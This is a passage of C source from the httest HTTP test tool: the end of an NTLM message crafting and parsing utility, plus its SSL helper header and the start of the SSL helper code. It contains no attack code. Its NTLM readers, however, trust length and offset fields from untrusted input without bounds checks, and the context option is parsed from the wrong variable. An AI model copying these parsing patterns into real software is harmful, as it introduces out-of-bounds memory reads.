hook->server); } if (hook->dns_domain) { apr_file_printf(hook->out, "DNS domain: %s\n", hook->dns_domain); } if (hook->dns_server) { apr_file_printf(hook->out, "DNS server: %s\n", hook->dns_server); } if (hook->user) { apr_file_printf(hook->out, "user: %s\n", hook->user); } if (hook->challenge) { apr_file_printf(hook->out, "challenge: " FMT_LLX "\n", hook->challenge); } if (hook->client_challenge) { apr_file_printf(hook->out, "client challenge: " FMT_LLX "\n", hook->client_challenge); } if (hook->context) { apr_file_printf(hook->out, "context: " FMT_LLX "\n", hook->context); } if (hook->target_info) { apr_file_printf(hook->out, "target info: %s\n", hook->target_info); } if (hook->lm.hash) { apr_file_printf(hook->out, "lm hash: "); for (i = 0; i < hook->lm.len; i++) { apr_file_printf(hook->out, "%02x", hook->lm.hash[i]); } apr_file_printf(hook->out, "\n"); } if (hook->ntlm.hash) { apr_file_printf(hook->out, "ntlm hash: "); for (i = 0; i < hook->ntlm.len; i++) { apr_file_printf(hook->out, "%02x", hook->ntlm.hash[i]); } apr_file_printf(hook->out, "\n"); } } /** * Print ntlm message type 1 as a base64 string * * @param hook IN htntlm hook */ static void write_type1_msg(htntlm_t *hook) { unsigned char *msg; char *b64msg; int len; int b64len; uint16_t len16; uint32_t offset = 0; char *tmp; /* callculate len */ if (hook->domain || hook->workstation) { len = 32; } else { len = 16; } if (hook->domain) { /* never unicode allways oem in a type 1 message */ len += strlen(hook->domain); } if (hook->workstation) { /* never unicode allways oem in a type 1 message */ len += strlen(hook->workstation); } /* allocate message */ msg = apr_pcalloc(hook->pool, len); /* start string */ strcpy((char *)msg, "NTLMSSP"); /* type */ *((uint32_t *)&msg[8]) = ntlm_hton32(hook->type); /* flags */ *((uint32_t *)&msg[12]) = ntlm_hton32(hook->flags); /* optional domain */ if (hook->domain) { /* never unicode allways oem in a type 1 message */ tmp = apr_pstrdup(hook->pool, hook->domain); len16 = strlen(hook->domain); *((uint16_t *)&msg[16]) = ntlm_hton16(len16); *((uint16_t *)&msg[18]) = ntlm_hton16(len16); *((uint32_t *)&msg[20]) = ntlm_hton32(32 + offset); memcpy(&msg[32 + offset], tmp, len16); offset = len16; } /* optional workstation */ if (hook->workstation) { /* never unicode allways oem in a type 1 message */ tmp = apr_pstrdup(hook->pool, hook->workstation); len16 = strlen(hook->workstation); *((uint16_t *)&msg[24]) = ntlm_hton16(len16); *((uint16_t *)&msg[26]) = ntlm_hton16(len16); *((uint32_t *)&msg[28]) = ntlm_hton32(32 + offset); memcpy(&msg[32 + offset], tmp, len16); } b64len = apr_base64_encode_len(len); b64msg = apr_pcalloc(hook->pool, b64len); apr_base64_encode_binary(b64msg, msg, len); apr_file_printf(hook->out, "%s", b64msg); } /** * Print ntlm message type 2 as a base64 string * * @param hook IN htntlm hook */ static void write_type2_msg(htntlm_t *hook) { unsigned char *msg; char *b64msg; int len; int b64len; uint16_t len16; uint32_t offset = 0; uint16_t tlen16; char *tmp; /* callculate len */ len = 48; tlen16 = 0; if (hook->target) { tlen16 += handle_unicode(hook, NULL, hook->target); } if (hook->domain) { tlen16 += 4 + to_unicode(hook->pool, NULL, hook->domain); } if (hook->server) { tlen16 += 4 + to_unicode(hook->pool, NULL, hook->server); } if (hook->dns_domain) { tlen16 += 4 + to_unicode(hook->pool, NULL, hook->dns_domain); } if (hook->dns_server) { tlen16 += 4 + strlen(hook->dns_server); tlen16 += 4 + to_unicode(hook->pool, NULL, hook->dns_server); } if (tlen16) { /* target info termination */ tlen16 += 4; } len += tlen16; /* allocate message initialize with zeros*/ msg = apr_pcalloc(hook->pool, len); /* start string */ strcpy((char *)msg, "NTLMSSP"); /* type */ *((uint32_t *)&msg[8]) = ntlm_hton32(hook->type); /* target */ if (hook->target) { len16 = handle_unicode(hook, &tmp, hook->target); *((uint16_t *)&msg[12]) = ntlm_hton16(len16); *((uint16_t *)&msg[14]) = ntlm_hton16(len16); *((uint32_t *)&msg[16]) = ntlm_hton32(48 + offset); memcpy(&msg[48 + offset], tmp, len16); offset = len16; } /* flags */ *((uint32_t *)&msg[20]) = ntlm_hton32(hook->flags); /* challenge */ if (hook->challenge) { *((uint64_t *)&msg[24]) = ntlm_hton64(hook->challenge); } /* context */ if (hook->context) { *((uint64_t *)&msg[32]) = ntlm_hton64(hook->context); } if (tlen16) { /* target info security buffer */ *((uint16_t *)&msg[40]) = ntlm_hton16(tlen16); *((uint16_t *)&msg[42]) = ntlm_hton16(tlen16); *((uint32_t *)&msg[44]) = ntlm_hton32(48 + offset); /* target info */ if (hook->domain) { len16 = to_unicode(hook->pool, &tmp, hook->domain); *((uint16_t *)&msg[48 + offset]) = ntlm_hton16(HTNTLM_SUBBLK_DOMAIN_NAME); *((uint16_t *)&msg[50 + offset]) = ntlm_hton16(len16); memcpy(&msg[52 + offset], tmp, len16); offset += 4 + len16; } if (hook->server) { len16 = to_unicode(hook->pool, &tmp, hook->server); *((uint16_t *)&msg[48 + offset]) = ntlm_hton16(HTNTLM_SUBBLK_SERVER_NAME); *((uint16_t *)&msg[50 + offset]) = ntlm_hton16(len16); memcpy(&msg[52 + offset], tmp, len16); offset += 4 + len16; } if (hook->dns_domain) { len16 = to_unicode(hook->pool, &tmp, hook->dns_domain); *((uint16_t *)&msg[48 + offset]) = ntlm_hton16(HTNTLM_SUBBLK_DNS_DOMAIN); *((uint16_t *)&msg[50 + offset]) = ntlm_hton16(len16); memcpy(&msg[52 + offset], tmp, len16); offset += 4 + len16; } if (hook->dns_server) { len16 = to_unicode(hook->pool, &tmp, hook->dns_server); *((uint16_t *)&msg[48 + offset]) = ntlm_hton16(HTNTLM_SUBBLK_DNS_SERVER); *((uint16_t *)&msg[50 + offset]) = ntlm_hton16(len16); memcpy(&msg[52 + offset], tmp, len16); offset += 4 + len16; } if (tlen16) { *((uint16_t *)&msg[48 + offset]) = 0; *((uint16_t *)&msg[50 + offset]) = 0; } offset = tlen16; } /* base64 */ b64len = apr_base64_encode_len(len); b64msg = apr_pcalloc(hook->pool, b64len); apr_base64_encode_binary(b64msg, msg, len); apr_file_printf(hook->out, "%s", b64msg); } /** * Print ntlm message type 3 as a base64 string * * @param hook IN htntlm hook */ static void write_type3_msg(htntlm_t *hook) { unsigned char *msg; char *b64msg; int len; int b64len; uint16_t len16; uint32_t offset = 0; char *tmp; /* callucalte len */ len = 64; /* lm/lmv2 response len */ if (hook->lm.len) { len += hook->lm.len; } /* ntlm/ntlmv2 response len */ if (hook->ntlm.len) { len += hook->ntlm.len; } if (hook->domain) { len += handle_unicode(hook, NULL, hook->domain); } if (hook->user) { len += handle_unicode(hook, NULL, hook->user); } if (hook->workstation) { len += handle_unicode(hook, NULL, hook->workstation); } if (hook->session_key) { len += strlen(hook->session_key); } /* allocate message initialize with zeros*/ msg = apr_pcalloc(hook->pool, len); /* start string */ strcpy((char *)msg, "NTLMSSP"); /* type */ *((uint32_t *)&msg[8]) = ntlm_hton32(hook->type); /* lm/lmv2 response */ if (hook->lm.len) { len16 = hook->lm.len; *((uint16_t *)&msg[12]) = ntlm_hton16(len16); *((uint16_t *)&msg[14]) = ntlm_hton16(len16); *((uint32_t *)&msg[16]) = ntlm_hton32(64 + offset); memcpy(&msg[64 + offset], hook->lm.hash, len16); offset += len16; } /* ntlm/ntlmv2 response */ if (hook->ntlm.len) { len16 = hook->ntlm.len; *((uint16_t *)&msg[20]) = ntlm_hton16(len16); *((uint16_t *)&msg[22]) = ntlm_hton16(len16); *((uint32_t *)&msg[24]) = ntlm_hton32(64 + offset); memcpy(&msg[64 + offset], hook->ntlm.hash, len16); offset += len16; } /* domain */ if (hook->domain) { len16 = handle_unicode(hook, &tmp, hook->domain); *((uint16_t *)&msg[28]) = ntlm_hton16(len16); *((uint16_t *)&msg[30]) = ntlm_hton16(len16); *((uint32_t *)&msg[32]) = ntlm_hton32(64 + offset); memcpy(&msg[64 + offset], tmp, len16); offset += len16; } /* user */ if (hook->user) { len16 = handle_unicode(hook, &tmp, hook->user); *((uint16_t *)&msg[36]) = ntlm_hton16(len16); *((uint16_t *)&msg[38]) = ntlm_hton16(len16); *((uint32_t *)&msg[40]) = ntlm_hton32(64 + offset); memcpy(&msg[64 + offset], tmp, len16); offset += len16; } /* workstation */ if (hook->workstation) { len16 = handle_unicode(hook, &tmp, hook->workstation); *((uint16_t *)&msg[44]) = ntlm_hton16(len16); *((uint16_t *)&msg[46]) = ntlm_hton16(len16); *((uint32_t *)&msg[48]) = ntlm_hton32(64 + offset); memcpy(&msg[64 + offset], tmp, len16); offset += len16; } /* session key */ if (hook->session_key) { len16 = strlen(hook->session_key); *((uint16_t *)&msg[52]) = ntlm_hton16(len16); *((uint16_t *)&msg[54]) = ntlm_hton16(len16); *((uint32_t *)&msg[56]) = ntlm_hton32(64 + offset); memcpy(&msg[64 + offset], hook->session_key, len16); offset += len16; } /* flags */ *((uint32_t *)&msg[60]) = ntlm_hton32(hook->flags); /* base64 */ b64len = apr_base64_encode_len(len); b64msg = apr_pcalloc(hook->pool, b64len); apr_base64_encode_binary(b64msg, msg, len); apr_file_printf(hook->out, "%s", b64msg); } /** * Write ntlm message type 1,2,3 as a base64 string * * @param hook IN htntlm hook */ static void write_message(htntlm_t *hook) { switch (hook->type) { case 1: write_type1_msg(hook); break; case 2: write_type2_msg(hook); break; case 3: write_type3_msg(hook); break; default: break; } } /** * Read type 1 NTLM message * * @param hook IN htntlm hook * @param message IN NTLM message */ static void read_type1_msg(htntlm_t *hook, unsigned char *msg, int msg_len) { int len; int offset; hook->flags = ntlm_ntoh32(*((uint32_t *)&msg[12])); /* test if optional domain is there */ if (msg_len < 24) { return; } /* domain */ len = ntlm_ntoh16(*((uint16_t *)&msg[16])); offset = ntlm_ntoh32(*((uint32_t *)&msg[20])); if (len) { hook->domain = apr_pstrndup(hook->pool, (char *)&msg[offset], len); } /* test if optional workstation is there */ if (msg_len < 32) { return; } /* workstation */ len = ntlm_ntoh16(*((uint16_t *)&msg[24])); offset = ntlm_ntoh32(*((uint32_t *)&msg[28])); if (len) { hook->workstation = apr_pstrndup(hook->pool, (char *)&msg[offset], len); } } /** * Read type 2 NTLM message * * @param hook IN htntlm hook * @param message IN NTLM message */ static void read_type2_msg(htntlm_t *hook, unsigned char *msg, int msg_len) { uint16_t len; uint32_t offset; uint16_t subblk; char *b64msg; int b64len; /* target */ len = ntlm_ntoh16(*((uint16_t *)&msg[12])); offset = ntlm_ntoh32(*((uint32_t *)&msg[16])); if (len) { hook->target = handle_oem(hook, (char *)&msg[offset], len); } /* flags */ hook->flags = ntlm_ntoh32(*((uint32_t *)&msg[20])); /* challenge */ if (*((uint64_t *)&msg[24])) { hook->challenge = ntlm_ntoh64(*((uint64_t *)&msg[24])); } /* test if optional context is available */ if (msg_len < 40) { return; } /* context */ if (*((uint64_t *)&msg[32])) { hook->context = ntlm_ntoh64(*((uint64_t *)&msg[32])); } /* test if optional target info is available */ if (msg_len < 52) { return; } /* target info */ len = ntlm_ntoh16(*((uint16_t *)&msg[40])); offset = ntlm_ntoh32(*((uint32_t *)&msg[44])); if (len) { b64len = apr_base64_encode_len(len); b64msg = apr_pcalloc(hook->pool, b64len); apr_base64_encode_binary(b64msg, &msg[offset], len); hook->target_info = b64msg; while (1) { subblk = ntlm_ntoh16(*((uint16_t *)&msg[offset])); if (subblk == 0) { break; } len = ntlm_ntoh16(*((uint16_t *)&msg[2 + offset])); offset += 4; switch (subblk) { case HTNTLM_SUBBLK_SERVER_NAME: hook->server = from_unicode(hook->pool, (char *)&msg[offset], len); break; case HTNTLM_SUBBLK_DOMAIN_NAME: hook->domain = from_unicode(hook->pool, (char *)&msg[offset], len); break; case HTNTLM_SUBBLK_DNS_SERVER: hook->dns_server = from_unicode(hook->pool, (char *)&msg[offset], len); break; case HTNTLM_SUBBLK_DNS_DOMAIN: hook->dns_domain = from_unicode(hook->pool, (char *)&msg[offset], len); break; default: break; } offset += len; } } } /** * Read type 3 NTLM message * * @param hook IN htntlm hook * @param message IN NTLM message */ static void read_type3_msg(htntlm_t *hook, unsigned char *msg, int msg_len) { int len; int offset; /* lm/lmv2 response */ len = ntlm_ntoh16(*((uint16_t *)&msg[12])); offset = ntlm_ntoh32(*((uint32_t *)&msg[16])); if (len) { hook->lm.hash = apr_pcalloc(hook->pool, len); memcpy(hook->lm.hash, &msg[offset], len); hook->lm.len = len; } /* ntlm/ntlmv2 response */ len = ntlm_ntoh16(*((uint16_t *)&msg[20])); offset = ntlm_ntoh32(*((uint32_t *)&msg[24])); if (len) { hook->ntlm.hash = apr_pcalloc(hook->pool, len); memcpy(hook->ntlm.hash, &msg[offset], len); hook->ntlm.len = len; } /* domain */ len = ntlm_ntoh16(*((uint16_t *)&msg[28])); offset = ntlm_ntoh32(*((uint32_t *)&msg[32])); if (len) { hook->domain = handle_oem(hook, (char *)&msg[offset], len); } /* user */ len = ntlm_ntoh16(*((uint16_t *)&msg[36])); offset = ntlm_ntoh32(*((uint32_t *)&msg[40])); if (len) { hook->user = handle_oem(hook, (char *)&msg[offset], len); } /* workstation */ len = ntlm_ntoh16(*((uint16_t *)&msg[44])); offset = ntlm_ntoh32(*((uint32_t *)&msg[48])); if (len) { hook->workstation = handle_oem(hook, (char *)&msg[offset], len); } /* session key */ /* flags */ } /** * Read a base64 encoded NTLM message * * @param hook IN htntlm hook * @param message IN base64 encode NTLM message */ static void read_message(htntlm_t *hook, char *message) { int b64len = apr_base64_decode_len(message); unsigned char *msg = apr_pcalloc(hook->pool, b64len); b64len = apr_base64_decode_binary(msg, message); /* check start cause this is allways the same */ if (strncmp("NTLMSSP", (char *)msg, 8) != 0) { hook->exception = apr_pstrdup(hook->pool, "NTLM magic error"); return; } /* get type */ hook->type = ntlm_ntoh32(*(uint32_t *)&msg[8]); switch (hook->type) { case 1: read_type1_msg(hook, msg, b64len); break; case 2: read_type2_msg(hook, msg, b64len); break; case 3: read_type3_msg(hook, msg, b64len); break; default: hook->exception = apr_psprintf(hook->pool, "unknown NTLM message type %d", hook->type); return; break; } } /** * convert readable flags to binary flags * * @param hook IN htntlm hook * @param flags IN readable flags */ static apr_status_t readable_to_flags(htntlm_t *hook, uint32_t *flags, htntlm_flags_map_t *map, const char *flags_str) { char *tmp = apr_pstrdup(hook->pool, flags_str); char *last; char *flag; int i = 0; flag = apr_strtok(tmp, " ", &last); while (flag) { apr_collapse_spaces(flag, flag); i = 0; while (map[i].name) { if (strcmp(flag, map[i].name) == 0) { *flags |= map[i].flag; break; } ++i; } flag = apr_strtok(NULL, " ", &last); } return APR_SUCCESS; } /** * sort out command-line args and call test * * @param argc IN number of arguments * @param argv IN argument array * * @return 0 if success */ int main(int argc, const char *const argv[]) { apr_status_t status; apr_getopt_t *opt; const char *optarg; char *tmp; char *val; char *last; int c; apr_pool_t *pool; htntlm_t *hook; #define ACTION_NONE 0 #define ACTION_INFO 1 #define ACTION_WRITE 2 #define ACTION_READ 4 int flags = ACTION_NONE; char *b64msg = NULL; char *chl_str = NULL; char *c_chl_str = NULL; char *ctx_str = NULL; srand(apr_time_now()); apr_app_initialize(&argc, &argv, NULL); apr_pool_create(&pool, NULL); /* set default */ hook = apr_pcalloc(pool, sizeof(*hook)); hook->pool = pool; /* get read option do this first before handle all other options */ apr_getopt_init(&opt, pool, argc, argv); while ((status = apr_getopt_long(opt, options, &c, &optarg)) == APR_SUCCESS) { switch (c) { case 'u': hook->func_flags |= HTNTLM_FUNC_FLAGS_UNICODE; break; case 'r': flags |= ACTION_READ; b64msg = apr_pstrdup(hook->pool, optarg); break; } } if (flags & ACTION_READ) { read_message(hook, b64msg); } /* again get options */ apr_getopt_init(&opt, pool, argc, argv); while ((status = apr_getopt_long(opt, options, &c, &optarg)) == APR_SUCCESS) { switch (c) { case 'h': usage(pool, filename(pool, argv[0])); break; case 'v': copyright(filename(pool, argv[0])); return 0; break; case 'w': flags |= ACTION_WRITE; break; case 'i': flags |= ACTION_INFO; break; case 'D': hook->domain = str_copy_to_upper(pool, optarg); break; case 'W': hook->workstation = str_copy_to_upper(pool, optarg); break; case 'E': hook->server = str_copy_to_upper(pool, optarg); break; case 'T': hook->target = str_copy_to_upper(pool, optarg); break; case 'O': tmp = apr_pstrdup(pool, optarg); val = apr_strtok(tmp, ".", &last); hook->os.major = apr_atoi64(val); val = apr_strtok(NULL, ".", &last); hook->os.minor = apr_atoi64(val); val = apr_strtok(NULL, ".", &last); hook->os.maint = apr_atoi64(val); break; case 'N': hook->dns_domain = str_copy_to_upper(pool, optarg); break; case 'S': hook->dns_server = str_copy_to_upper(pool, optarg); break; case 'U': hook->user = str_copy_to_upper(pool, optarg); break; case 'P': hook->password = apr_pstrdup(pool, optarg); break; case 'C': chl_str = apr_pstrdup(pool, optarg); break; case 'c': c_chl_str = apr_pstrdup(pool, optarg); break; case 'X': ctx_str = apr_pstrdup(pool, optarg); break; case 'K': hook->session_key = apr_pstrdup(pool, optarg); break; case 't': hook->type = apr_atoi64(optarg); break; case 'f': readable_to_flags(hook, &hook->flags, flags_map, optarg); break; case 'R': readable_to_flags(hook, &hook->resp, resp_flags_map, optarg); break; case 'u': hook->func_flags |= HTNTLM_FUNC_FLAGS_UNICODE; break; case 'a': hook->target_info = apr_pstrdup(pool, optarg); break; } } /* test for wrong options */ if (!APR_STATUS_IS_EOF(status) || flags == ACTION_NONE) { fprintf(stderr, "try \"%s --help\" to get more information\n", filename(pool, argv[0])); exit(1); } if ((status = apr_file_open_stdout(&hook->out, pool)) != APR_SUCCESS) { fprintf(stdout, "Could not open stdout: %s(%d)\n", my_status_str(pool, status), status); } if (!c_chl_str) { RAND_pseudo_bytes((unsigned char *)&hook->client_challenge, sizeof(hook->client_challenge)); } else { sscanf(c_chl_str, FMT_LLX, &hook->client_challenge); } if (chl_str) { sscanf(chl_str, FMT_LLX, &hook->challenge); } if (ctx_str) { sscanf(chl_str, FMT_LLX, &hook->context); } if (hook->resp & HTNTLM_RESP_LM) { hook->lm.hash = get_lm_hash(hook); hook->lm.len = 24; } if (hook->resp & HTNTLM_RESP_NTLM) { hook->ntlm.hash = get_ntlm_hash(hook); hook->ntlm.len = 24; } if (hook->resp & HTNTLM_RESP_LM2) { hook->lm.hash = get_lm2_hash(hook, &hook->lm.len); } if (hook->resp & HTNTLM_RESP_NTLM2) { hook->ntlm.hash = get_ntlm2_hash(hook, &hook->ntlm.len); } if (hook->resp & HTNTLM_RESP_NTLM2_SESS) { hook->lm.hash = apr_pcalloc(hook->pool, 24); hook->lm.len = 24; memcpy(hook->lm.hash, &hook->client_challenge, 8); hook->ntlm.hash = get_ntlm2_sess(hook, &hook->ntlm.len); } if (flags & ACTION_INFO) { print_info(hook); } if (flags & ACTION_WRITE) { write_message(hook); } return 0; } httest-2.4.8/src/ssl.h0000664000175100017510000000235712141535454011541 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Interface of the HTTP Test Tool ssl. */ #ifndef HTTEST_SSL_H #define HTTEST_SSL_H void ssl_util_thread_setup(apr_pool_t * p); void ssl_rand_seed(void); apr_status_t ssl_handshake(SSL *ssl, char **error, apr_pool_t *pool); apr_status_t ssl_accept(SSL *ssl, char **error, apr_pool_t *pool); #ifndef OPENSSL_NO_ENGINE ENGINE *setup_engine(BIO *err, const char *engine, int debug); #endif char *ssl_var_lookup_ssl_cert(apr_pool_t *p, X509 *xs, const char *var); int debug_verify_callback(int cur_ok, X509_STORE_CTX *ctx); int skip_verify_callback(int cur_ok, X509_STORE_CTX *ctx); #endif httest-2.4.8/src/ssl.c0000664000175100017510000005373712141535454011544 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool ssl. */ /************************************************************************ * Includes ***********************************************************************/ #include "defines.h" #ifdef USE_SSL #ifdef HAVE_CONFIG_H #include #endif #include #include #include #include /* don't move, needed exactly here on windows */ #include #ifndef OPENSSL_NO_ENGINE #include #endif #include #include #include #include #include #include #if APR_HAVE_UNISTD_H #include /* for getpid() */ #endif #ifndef RAND_MAX #include #define RAND_MAX INT_MAX #endif #include "ssl.h" /************************************************************************ * Definitions ***********************************************************************/ #ifndef NUL #define NUL '\0' #endif #define X509_NAME_get_entries(xs) (xs->entries) #define X509_REVOKED_get_serialNumber(xs) (xs->serialNumber) #define X509_NAME_ENTRY_get_data_ptr(xs) (xs->value->data) #define X509_NAME_ENTRY_get_data_len(xs) (xs->value->length) #define X509_get_signature_algorithm(xs) (xs->cert_info->signature->algorithm) #define X509_get_key_algorithm(xs) (xs->cert_info->key->algor->algorithm) #define strEQn(s1,s2,n) (strncmp(s1,s2,n) == 0) #define strcEQ(s1,s2) (strcasecmp(s1,s2) == 0) #define strcEQn(s1,s2,n) (strncasecmp(s1,s2,n) == 0) /************************************************************************ * Forward declaration ***********************************************************************/ static unsigned long ssl_util_thr_id(void); static void ssl_util_thr_lock(int mode, int type, const char *file, int line); static int ssl_rand_choosenum(int l, int h); static apr_status_t ssl_util_thread_cleanup(void *data); static char *ssl_var_lookup_ssl_cert_dn(apr_pool_t *p, X509_NAME *xsname, const char *var); static char *ssl_var_lookup_ssl_cert_valid(apr_pool_t *p, ASN1_UTCTIME *tm); static char *ssl_var_lookup_ssl_cert_remain(apr_pool_t *p, ASN1_UTCTIME *tm); static char *ssl_var_lookup_ssl_cert_serial(apr_pool_t *p, X509 *xs); static char *ssl_var_lookup_ssl_cert_PEM(apr_pool_t *p, X509 *xs); /************************************************************************ * Implementation ***********************************************************************/ /** * To ensure thread-safetyness in OpenSSL - work in progress */ static apr_thread_mutex_t **lock_cs; static int lock_num_locks; /** * Thread setup (SSL call back) * * @param p IN pool */ void ssl_util_thread_setup(apr_pool_t * p) { int i; lock_num_locks = CRYPTO_num_locks(); lock_cs = apr_palloc(p, lock_num_locks * sizeof(*lock_cs)); for (i = 0; i < lock_num_locks; i++) { apr_thread_mutex_create(&(lock_cs[i]), APR_THREAD_MUTEX_DEFAULT, p); } CRYPTO_set_id_callback(ssl_util_thr_id); CRYPTO_set_locking_callback(ssl_util_thr_lock); apr_pool_cleanup_register(p, NULL, ssl_util_thread_cleanup, apr_pool_cleanup_null); } /** * Do a seed */ void ssl_rand_seed(void) { int nDone = 0; int n, l; time_t t; pid_t pid; unsigned char stackdata[256]; /* * seed in the current time (usually just 4 bytes) */ t = time(NULL); l = sizeof(time_t); RAND_seed((unsigned char *) &t, l); nDone += l; /* * seed in the current process id (usually just 4 bytes) */ pid = getpid(); l = sizeof(pid_t); RAND_seed((unsigned char *) &pid, l); nDone += l; /* * seed in some current state of the run-time stack (128 bytes) */ n = ssl_rand_choosenum(0, sizeof(stackdata) - 128 - 1); RAND_seed(stackdata + n, 128); nDone += 128; } /** * ssl handshake client site * * @param ssl IN ssl object * @param error OUT error text * * @return APR_EINVAL if no ssl context or * APR_ECONNREFUSED if could not handshake or * APR_SUCCESS */ apr_status_t ssl_handshake(SSL *ssl, char **error, apr_pool_t *pool) { apr_status_t status = APR_SUCCESS; int do_next = 1; *error = NULL; /* check first if we have a ssl context */ if (!ssl) { *error = apr_pstrdup(pool, "No ssl context"); return APR_EINVAL; } while (do_next) { int ret, ecode; apr_sleep(1); ret = SSL_do_handshake(ssl); ecode = SSL_get_error(ssl, ret); switch (ecode) { case SSL_ERROR_NONE: status = APR_SUCCESS; do_next = 0; break; case SSL_ERROR_WANT_READ: /* Try again */ do_next = 1; break; case SSL_ERROR_WANT_WRITE: /* Try again */ do_next = 1; break; case SSL_ERROR_WANT_CONNECT: case SSL_ERROR_SSL: case SSL_ERROR_SYSCALL: { char *cascade_err = NULL; char buf[256]; unsigned long l; while ((l = ERR_get_error()) != 0) { ERR_error_string_n(l, buf, sizeof buf); if (cascade_err) { apr_pstrcat(pool, cascade_err, ";", buf, NULL); } else { cascade_err = apr_pstrdup(pool, buf); } } *error = apr_psprintf(pool, "Handshake failed: %s", cascade_err ? cascade_err : ""); status = APR_ECONNREFUSED; do_next = 0; } break; } } return status; } /** * ssl accept * * @param worker IN thread data object * * @return APR_SUCCESS */ apr_status_t ssl_accept(SSL *ssl, char **error, apr_pool_t *pool) { int rc; int err; *error = NULL; /* check first if we have a ssl context */ if (!ssl) { *error = apr_pstrdup(pool, "No ssl context"); return APR_EINVAL; } tryagain: apr_sleep(1); if (SSL_is_init_finished(ssl)) { return APR_SUCCESS; } if ((rc = SSL_accept(ssl)) <= 0) { err = SSL_get_error(ssl, rc); if (err == SSL_ERROR_ZERO_RETURN) { *error = apr_pstrdup(pool, "SSL accept connection closed"); return APR_ECONNABORTED; } else if (err == SSL_ERROR_WANT_READ) { *error = apr_pstrdup(pool, "SSL accept SSL_ERROR_WANT_READ."); goto tryagain; } else if (ERR_GET_LIB(ERR_peek_error()) == ERR_LIB_SSL && ERR_GET_REASON(ERR_peek_error()) == SSL_R_HTTP_REQUEST) { /* * The case where OpenSSL has recognized a HTTP request: * This means the client speaks plain HTTP on our HTTPS port. * ssl_io_filter_error will disable the ssl filters when it * sees this status code. */ *error = apr_pstrdup(pool, "SSL accept client speaks plain HTTP"); return APR_ENOTSOCK; } else if (err == SSL_ERROR_SYSCALL) { *error = apr_pstrdup(pool, "SSL accept interrupted by system " "[Hint: Stop button pressed in browser?!]"); return APR_ECONNABORTED; } else /* if (ssl_err == SSL_ERROR_SSL) */ { /* * Log SSL errors and any unexpected conditions. */ *error = apr_psprintf(pool, "SSL library error %d in accept", err); return APR_ECONNABORTED; } } return APR_SUCCESS; } /** * This is a SSL lock call back * * @param mode IN lock mode * @param type IN lock type * @param file IN unused * @param line IN unused */ static void ssl_util_thr_lock(int mode, int type, const char *file, int line) { apr_status_t status; if (type < lock_num_locks) { if (mode & CRYPTO_LOCK) { if ((status = apr_thread_mutex_lock(lock_cs[type])) != APR_SUCCESS) { fprintf(stderr, "Fatal error could not lock"); exit(status); } } else { if ((status = apr_thread_mutex_unlock(lock_cs[type])) != APR_SUCCESS) { fprintf(stderr, "Fatal error could not unlock"); exit(status); } } } } /** * @return current thread id (SSL call back) */ static unsigned long ssl_util_thr_id(void) { /* OpenSSL needs this to return an unsigned long. On OS/390, the pthread * id is a structure twice that big. Use the TCB pointer instead as a * unique unsigned long. */ #ifdef __MVS__ struct PSA { char unmapped[540]; unsigned long PSATOLD; } *psaptr = 0; return psaptr->PSATOLD; #else return (unsigned long) apr_os_thread_current(); #endif } /** * Thread clean up function (SSL call back) * * @param data IN unused * * @return APR_SUCCESS */ static apr_status_t ssl_util_thread_cleanup(void *data) { CRYPTO_set_locking_callback(NULL); CRYPTO_set_id_callback(NULL); /* Let the registered mutex cleanups do their own thing */ return APR_SUCCESS; } /** * Rand between low and high * * @param l IN bottom * @param h IN top value * * @return something between l and h */ static int ssl_rand_choosenum(int l, int h) { int i; char buf[50]; srand((unsigned int) time(NULL)); apr_snprintf(buf, sizeof(buf), "%.0f", (((double) (rand() % RAND_MAX) / RAND_MAX) * (h - l))); i = atoi(buf) + 1; if (i < l) i = l; if (i > h) i = h; return i; } #ifndef OPENSSL_NO_ENGINE /* Try to load an engine in a shareable library */ static ENGINE *try_load_engine(const char *engine, int debug) { ENGINE *e = ENGINE_by_id("dynamic"); if (e) { if (!ENGINE_ctrl_cmd_string(e, "SO_PATH", engine, 0) || !ENGINE_ctrl_cmd_string(e, "LOAD", NULL, 0)) { ENGINE_free(e); e = NULL; } } return e; } ENGINE *setup_engine(BIO *err, const char *engine, int debug) { ENGINE *e = NULL; if (engine) { if(strcmp(engine, "auto") == 0) { BIO_printf(err,"enabling auto ENGINE support\n"); ENGINE_register_all_complete(); return NULL; } if((e = ENGINE_by_id(engine)) == NULL && (e = try_load_engine(engine, debug)) == NULL) { BIO_printf(err,"invalid engine \"%s\"\n", engine); ERR_print_errors(err); return NULL; } if (debug) { ENGINE_ctrl(e, ENGINE_CTRL_SET_LOGSTREAM, 0, err, 0); } if(!ENGINE_set_default(e, ENGINE_METHOD_ALL)) { BIO_printf(err,"can't use that engine\n"); ERR_print_errors(err); ENGINE_free(e); return NULL; } BIO_printf(err,"engine \"%s\" set.\n", ENGINE_get_id(e)); /* Free our "structural" reference. */ ENGINE_free(e); } return e; } /** * Get ssl information from a X509 Cert * * @param p IN Pool * @param xs IN Cert * @param var IN Variable name * * @return Variable value */ char *ssl_var_lookup_ssl_cert(apr_pool_t *p, X509 *xs, const char *var) { char *result; X509_NAME *xsname; int nid; char *cp; result = NULL; if (strcEQ(var, "M_VERSION")) { result = apr_psprintf(p, "%lu", X509_get_version(xs)+1); } else if (strcEQ(var, "M_SERIAL")) { result = ssl_var_lookup_ssl_cert_serial(p, xs); } else if (strcEQ(var, "V_START")) { result = ssl_var_lookup_ssl_cert_valid(p, X509_get_notBefore(xs)); } else if (strcEQ(var, "V_END")) { result = ssl_var_lookup_ssl_cert_valid(p, X509_get_notAfter(xs)); } else if (strcEQ(var, "V_REMAIN")) { result = ssl_var_lookup_ssl_cert_remain(p, X509_get_notAfter(xs)); } else if (strcEQ(var, "S_DN")) { xsname = X509_get_subject_name(xs); cp = X509_NAME_oneline(xsname, NULL, 